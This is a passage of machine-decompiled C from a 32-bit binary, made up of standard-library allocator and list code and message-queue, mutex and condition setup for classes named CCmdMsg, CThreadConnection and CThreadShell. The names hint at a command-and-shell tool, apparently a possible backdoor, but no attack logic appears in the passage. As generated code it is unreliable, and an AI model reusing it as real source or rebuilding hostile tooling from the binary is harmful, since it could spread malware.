__gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_void__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806961c - 0x8069637 int32_t std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(int32_t a1, int32_t a2) { // 0x806961c __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_void__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__230(a1); return 0x8132c20; } // Address range: 0x8069638 - 0x8069687 int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232(int32_t result, int32_t a2) { // 0x8069638 std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__231(result, a2); *(int32_t *)(result + 20) = 0; int32_t v1 = result + 4; // 0x806965d *(int32_t *)v1 = 0; *(int32_t *)(result + 8) = 0; g95 = result; *(int32_t *)(result + 12) = v1; *(int32_t *)(result + 16) = v1; return result; } // Address range: 0x8069688 - 0x80696c7 void std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(int32_t * a1, int32_t a2, int32_t a3) { // 0x8069688 int32_t * v1; int32_t v2 = (int32_t)v1; // 0x8069698 std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__229(v2); std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____Rb_tree_impl_lt_std__less_lt_void__ptr__gt__comma__false_gt__232((int32_t)a1, v2); std__allocator_lt_std___Rb_tree_node_lt_void__ptr__gt___gt__191(v2); } // Address range: 0x80696c8 - 0x80696df int32_t std__allocator_lt_void__ptr__gt__233(int32_t a1) { // 0x80696c8 __gnu_cxx____mt_alloc_lt_void__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__210(a1); return 0x8132c20; } // Address range: 0x80696e0 - 0x80696fd int32_t std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x80696e0 std__allocator_lt_void__ptr__gt__233(result); return result; } // Address range: 0x80698b2 - 0x80698ef void std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt__235(int32_t * a1) { // 0x80698b2 int32_t v1; std__allocator_lt_void__ptr__gt__211(v1); int32_t v2; std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt_(a1, v2, v1); std__allocator_lt_void__ptr__gt_(v1); } // Address range: 0x80698f0 - 0x806991b int32_t __gnu_cxx____mt_alloc_base_lt_void__ptr__gt___construct(int32_t a1, int32_t * a2) { int32_t v1 = _ZnwjPv((int32_t *)4); // 0x80698fe int32_t ** v2 = (int32_t **)v1; // 0x80698fe_4 int32_t ** v3; // 0x806991a_11 if (v1 != 0) { // 0x806990f int32_t ** v4; int32_t v5 = *(int32_t *)v4; // 0x8069912 *v2 = (int32_t *)v5; v3 = (int32_t **)v5; // branch -> 0x8069919 } else { v3 = v2; } // 0x8069919 return (int32_t)v3; } // Address range: 0x806a0c6 - 0x806a0dd int32_t std__allocator_lt_CCmdMsg__ptr__gt__246(int32_t a1) { // 0x806a0c6 __gnu_cxx____mt_alloc_lt_CCmdMsg__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__219(a1); return 0x8132c20; } // Address range: 0x806a0de - 0x806a0fb int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x806a0de std__allocator_lt_CCmdMsg__ptr__gt__246(result); return result; } // Address range: 0x806a11e - 0x806a185 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) { // 0x806a11e if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x806a184 return 0; } // 0x806a132 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 12 * a3; // 0x806a143 int32_t result; // 0x806a185_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x806a16f int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806a137, v2, 0, 0, 0); // branch -> 0x806a184 } else { // 0x806a15f result = _ZdlPv(a2); // branch -> 0x806a184 } // 0x806a184 return result; } // Address range: 0x806a186 - 0x806a1a1 int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) { // 0x806a186 g95 = (int32_t)a1; return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1); } // Address range: 0x806a356 - 0x806a3cb int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x806a35d int32_t v1 = *(int32_t *)a1; // 0x806a360 if ((int32_t **)v1 == a1) { // 0x806a3c7 return result; } int32_t * v2 = (int32_t *)v1; // 0x806a36a_0 int32_t v3 = *v2; // 0x806a370 g98 = v1 + 8; int32_t v4; std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(); std__allocator_lt_CCmdMsg__ptr__gt_(v4); std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node((int32_t *)a1, v2); while ((int32_t **)v3 != a1) { // 0x806a367 v1 = v3; v2 = (int32_t *)v1; v3 = *v2; g98 = v1 + 8; std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CCmdMsg__ptr__gt___destroy(); std__allocator_lt_CCmdMsg__ptr__gt_(v4); std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_put_node((int32_t *)a1, v2); // continue -> 0x806a367 } // 0x806a3c7 return result; } // Address range: 0x806a3cc - 0x806a423 int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1) { // 0x806a3cc std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_clear(a1); return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl((int32_t *)a1); } // Address range: 0x806a424 - 0x806a43b int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(int32_t ** a1) { // 0x806a424 return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_(a1); } // Address range: 0x806a43c - 0x806a4d9 int32_t CThreadMessageList_lt_CCmdMsg_gt_(int32_t a1) { // 0x806a43c CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806a4da - 0x806a577 int32_t CThreadMessageList_lt_CCmdMsg_gt__247(int32_t a1) { // 0x806a4da CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806a578 - 0x806a69d int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt_(int32_t a1) { int32_t v1 = a1 + 144; // 0x806a582 int32_t v2 = v1; // bp-44 CThreadCondition__DestroyCondition(&v2); int32_t v3 = a1 + 72; // 0x806a596 v2 = v3; CThreadCondition__DestroyCondition(&v2); v2 = v1; CThreadCondition_526(); v2 = v3; CThreadCondition_526(); int32_t v4 = a1 + 36; // 0x806a646 v2 = v4; CThreadMessageList_lt_CCmdMsg_gt_(v4); return CThreadMessageList_lt_CCmdMsg_gt__247(a1); } // Address range: 0x806a69e - 0x806a6b5 int32_t std__allocator_lt_CThreadConnection__ptr__gt__248(int32_t a1) { // 0x806a69e __gnu_cxx____mt_alloc_lt_CThreadConnection__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__222(a1); return 0x8132c20; } // Address range: 0x806a6b6 - 0x806a6d3 int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x806a6b6 std__allocator_lt_CThreadConnection__ptr__gt__248(result); return result; } // Address range: 0x806a6f6 - 0x806a75d int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) { // 0x806a6f6 if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x806a75c return 0; } // 0x806a70a __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 12 * a3; // 0x806a71b int32_t result; // 0x806a75d_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x806a747 int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806a70f, v2, 0, 0, 0); // branch -> 0x806a75c } else { // 0x806a737 result = _ZdlPv(a2); // branch -> 0x806a75c } // 0x806a75c return result; } // Address range: 0x806a75e - 0x806a779 int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) { // 0x806a75e g95 = (int32_t)a1; return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1); } // Address range: 0x806a92e - 0x806a9a3 int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x806a935 int32_t v1 = *(int32_t *)a1; // 0x806a938 if ((int32_t **)v1 == a1) { // 0x806a99f return result; } int32_t * v2 = (int32_t *)v1; // 0x806a942_0 int32_t v3 = *v2; // 0x806a948 g98 = v1 + 8; int32_t v4; std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(); std__allocator_lt_CThreadConnection__ptr__gt_(v4); std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node((int32_t *)a1, v2); while ((int32_t **)v3 != a1) { // 0x806a93f v1 = v3; v2 = (int32_t *)v1; v3 = *v2; g98 = v1 + 8; std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CThreadConnection__ptr__gt___destroy(); std__allocator_lt_CThreadConnection__ptr__gt_(v4); std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_put_node((int32_t *)a1, v2); // continue -> 0x806a93f } // 0x806a99f return result; } // Address range: 0x806a9a4 - 0x806a9fb int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1) { // 0x806a9a4 std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_clear(a1); return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl((int32_t *)a1); } // Address range: 0x806a9fc - 0x806aa13 int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(int32_t ** a1) { // 0x806a9fc return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_(a1); } // Address range: 0x806aa14 - 0x806aab1 int32_t CThreadMessageList_lt_CThreadConnection_gt_(int32_t a1) { // 0x806aa14 CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806aab2 - 0x806ab4f int32_t CThreadMessageList_lt_CThreadConnection_gt__249(int32_t a1) { // 0x806aab2 CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806ab50 - 0x806ac75 int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt_(int32_t a1) { int32_t v1 = a1 + 144; // 0x806ab5a int32_t v2 = v1; // bp-44 CThreadCondition__DestroyCondition(&v2); int32_t v3 = a1 + 72; // 0x806ab6e v2 = v3; CThreadCondition__DestroyCondition(&v2); v2 = v1; CThreadCondition_526(); v2 = v3; CThreadCondition_526(); int32_t v4 = a1 + 36; // 0x806ac1e v2 = v4; CThreadMessageList_lt_CThreadConnection_gt_(v4); return CThreadMessageList_lt_CThreadConnection_gt__249(a1); } // Address range: 0x806ac76 - 0x806ac8d int32_t std__allocator_lt_CThreadShell__ptr__gt__250(int32_t a1) { // 0x806ac76 __gnu_cxx____mt_alloc_lt_CThreadShell__ptr__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__225(a1); return 0x8132c20; } // Address range: 0x806ac8e - 0x806acab int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(int32_t result, int32_t * a2) { // 0x806ac8e std__allocator_lt_CThreadShell__ptr__gt__250(result); return result; } // Address range: 0x806acce - 0x806ad35 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(int32_t * a1, int32_t * a2, int32_t a3) { // 0x806acce if (((g95 & -256 || (int32_t)(a2 == NULL)) ^ 1) % 2 == 0) { // 0x806ad34 return 0; } // 0x806ace2 __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v1 = 12 * a3; // 0x806acf3 int32_t result; // 0x806ad35_11 if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, (int32_t *)v1) == 0) { // 0x806ad1f int32_t v2; result = __gnu_cxx____pool_lt_true_gt____M_reclaim_block((struct struct_91 *)0x8132c20, (int32_t **)a2, (struct struct_88 *)v1, 0x806ace7, v2, 0, 0, 0); // branch -> 0x806ad34 } else { // 0x806ad0f result = _ZdlPv(a2); // branch -> 0x806ad34 } // 0x806ad34 return result; } // Address range: 0x806ad36 - 0x806ad51 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node(int32_t * a1, int32_t * a2) { // 0x806ad36 g95 = (int32_t)a1; return __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadShell__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(a1, a2, 1); } // Address range: 0x806af06 - 0x806af7b int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(int32_t ** a1) { int32_t result = (int32_t)a1; // 0x806af0d int32_t v1 = *(int32_t *)a1; // 0x806af10 if ((int32_t **)v1 == a1) { // 0x806af77 return result; } int32_t * v2 = (int32_t *)v1; // 0x806af1a_0 int32_t v3 = *v2; // 0x806af20 g98 = v1 + 8; int32_t v4; std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(); std__allocator_lt_CThreadShell__ptr__gt_(v4); std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node((int32_t *)a1, v2); while ((int32_t **)v3 != a1) { // 0x806af17 v1 = v3; v2 = (int32_t *)v1; v3 = *v2; g98 = v1 + 8; std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt___get_allocator(v4, (int32_t *)a1); __gnu_cxx____mt_alloc_base_lt_CThreadShell__ptr__gt___destroy(); std__allocator_lt_CThreadShell__ptr__gt_(v4); std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_put_node((int32_t *)a1, v2); // continue -> 0x806af17 } // 0x806af77 return result; } // Address range: 0x806af7c - 0x806afd3 int32_t std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1) { // 0x806af7c std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____M_clear(a1); return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt____List_impl((int32_t *)a1); } // Address range: 0x806afd4 - 0x806afeb int32_t std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(int32_t ** a1) { // 0x806afd4 return std___List_base_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_(a1); } // Address range: 0x806afec - 0x806b089 int32_t CThreadMessageList_lt_CThreadShell_gt_(int32_t a1) { // 0x806afec CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806b08a - 0x806b127 int32_t CThreadMessageList_lt_CThreadShell_gt__251(int32_t a1) { // 0x806b08a CThreadMutex__DestroyMutex((int32_t *)(a1 + 12)); CThreadMutex_533(); return std__list_lt_CThreadShell__ptr__comma__std__allocator_lt_CThreadShell__ptr__gt___gt_((int32_t **)(a1 + 4)); } // Address range: 0x806b128 - 0x806b24d int32_t CThreadSignaledMessageList_lt_CThreadShell_gt_(int32_t a1) { int32_t v1 = a1 + 144; // 0x806b132 int32_t v2 = v1; // bp-44 CThreadCondition__DestroyCondition(&v2); int32_t v3 = a1 + 72; // 0x806b146 v2 = v3; CThreadCondition__DestroyCondition(&v2); v2 = v1; CThreadCondition_526(); v2 = v3; CThreadCondition_526(); int32_t v4 = a1 + 36; // 0x806b1f6 v2 = v4; CThreadMessageList_lt_CThreadShell_gt_(v4); return CThreadMessageList_lt_CThreadShell_gt__251(a1); } // Address range: 0x806b724 - 0x806b729 void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(void) { // 0x806b724 return; } // Address range: 0x806b72a - 0x806b745 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(int32_t a1) { // 0x806b72a __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806b746 - 0x806b75d int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(int32_t a1) { // 0x806b746 __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__252(a1); return 0x8132c20; } // Address range: 0x806b75e - 0x806b779 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(int32_t a1) { // 0x806b75e __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806b77a - 0x806b795 int32_t std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255(int32_t a1, int32_t a2) { // 0x806b77a __gnu_cxx____mt_alloc_lt_std___List_node_lt_CCmdMsg__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__254(a1); return 0x8132c20; } // Address range: 0x806b796 - 0x806b7af int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(int32_t ** a1, int32_t a2) { // 0x806b796 std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__255((int32_t)a1, a2); return 0x8132c20; } // Address range: 0x806b7b0 - 0x806b7f9 int32_t std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(int32_t ** a1, int32_t a2) { // 0x806b7b0 int32_t ** v1; int32_t v2 = (int32_t)v1; // 0x806b7c0 std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__253(v2); std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____List_impl_256(a1, v2); std__allocator_lt_std___List_node_lt_CCmdMsg__ptr__gt___gt__221(v2); return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt____M_init(a1); } // Address range: 0x806b7fa - 0x806b813 int32_t std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258(int32_t ** a1, int32_t a2) { // 0x806b7fa return std___List_base_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__257(a1, a2); } // Address range: 0x806b814 - 0x806b8c5 int32_t CThreadMessageList_lt_CCmdMsg_gt__259(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806b81b *a1 = 0; int32_t v2; std__allocator_lt_CCmdMsg__ptr__gt__220(v2); std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258((int32_t **)(v1 + 4), v2); std__allocator_lt_CCmdMsg__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806b8c6 - 0x806b977 int32_t CThreadMessageList_lt_CCmdMsg_gt__260(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806b8cd *a1 = 0; int32_t v2; std__allocator_lt_CCmdMsg__ptr__gt__220(v2); std__list_lt_CCmdMsg__ptr__comma__std__allocator_lt_CCmdMsg__ptr__gt___gt__258((int32_t **)(v1 + 4), v2); std__allocator_lt_CCmdMsg__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806b978 - 0x806ba77 int32_t CThreadSignaledMessageList_lt_CCmdMsg_gt__261(int32_t a1) { int32_t v1 = a1; // bp-28 CThreadMessageList_lt_CCmdMsg_gt__259(&v1); v1 = a1 + 36; CThreadMessageList_lt_CCmdMsg_gt__260(&v1); int32_t v2 = a1 + 72; // 0x806b9a3 v1 = v2; CThreadCondition_524(); int32_t v3 = a1 + 144; // 0x806b9b5 v1 = v3; CThreadCondition_524(); v1 = v2; CThreadCondition__InitCondition(v2); v1 = v3; return CThreadCondition__InitCondition(v3); } // Address range: 0x806ba78 - 0x806ba7d void __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(void) { // 0x806ba78 return; } // Address range: 0x806ba7e - 0x806ba99 int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(int32_t a1) { // 0x806ba7e __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806ba9a - 0x806bab1 int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(int32_t a1) { // 0x806ba9a __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__262(a1); return 0x8132c20; } // Address range: 0x806bab2 - 0x806bacd int32_t __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(int32_t a1) { // 0x806bab2 __gnu_cxx____mt_alloc_base_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x806bace - 0x806bae9 int32_t std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265(int32_t a1, int32_t a2) { // 0x806bace __gnu_cxx____mt_alloc_lt_std___List_node_lt_CThreadConnection__ptr__gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__264(a1); return 0x8132c20; } // Address range: 0x806baea - 0x806bb03 int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(int32_t ** a1, int32_t a2) { // 0x806baea std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__265((int32_t)a1, a2); return 0x8132c20; } // Address range: 0x806bb04 - 0x806bb4d int32_t std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(int32_t ** a1, int32_t a2) { // 0x806bb04 int32_t ** v1; int32_t v2 = (int32_t)v1; // 0x806bb14 std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__263(v2); std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____List_impl_266(a1, v2); std__allocator_lt_std___List_node_lt_CThreadConnection__ptr__gt___gt__224(v2); return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt____M_init(a1); } // Address range: 0x806bb4e - 0x806bb67 int32_t std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268(int32_t ** a1, int32_t a2) { // 0x806bb4e return std___List_base_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__267(a1, a2); } // Address range: 0x806bb68 - 0x806bc19 int32_t CThreadMessageList_lt_CThreadConnection_gt__269(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806bb6f *a1 = 0; int32_t v2; std__allocator_lt_CThreadConnection__ptr__gt__223(v2); std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268((int32_t **)(v1 + 4), v2); std__allocator_lt_CThreadConnection__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806bc1a - 0x806bccb int32_t CThreadMessageList_lt_CThreadConnection_gt__270(int32_t * a1) { int32_t v1 = (int32_t)a1; // 0x806bc21 *a1 = 0; int32_t v2; std__allocator_lt_CThreadConnection__ptr__gt__223(v2); std__list_lt_CThreadConnection__ptr__comma__std__allocator_lt_CThreadConnection__ptr__gt___gt__268((int32_t **)(v1 + 4), v2); std__allocator_lt_CThreadConnection__ptr__gt_(v2); CThreadMutex_531(); return CThreadMutex__InitMutex(v1 + 12); } // Address range: 0x806bccc - 0x806bdcb int32_t CThreadSignaledMessageList_lt_CThreadConnection_gt__271(int32_t a1) { int32_t v1 = a1; // bp-28 CThreadMessageList_lt_CThreadConnection_gt__269(&v1); v1 = a1 + 36; CThreadMessageList_lt_CThreadConnection_gt__270(&v1); int32_t v2 = a1 + 72; // 0x806bcf7 v1 = v2; CThreadCondition_524(); int32_t v3 = a1 + 144; // 0x806bd09 v1 = 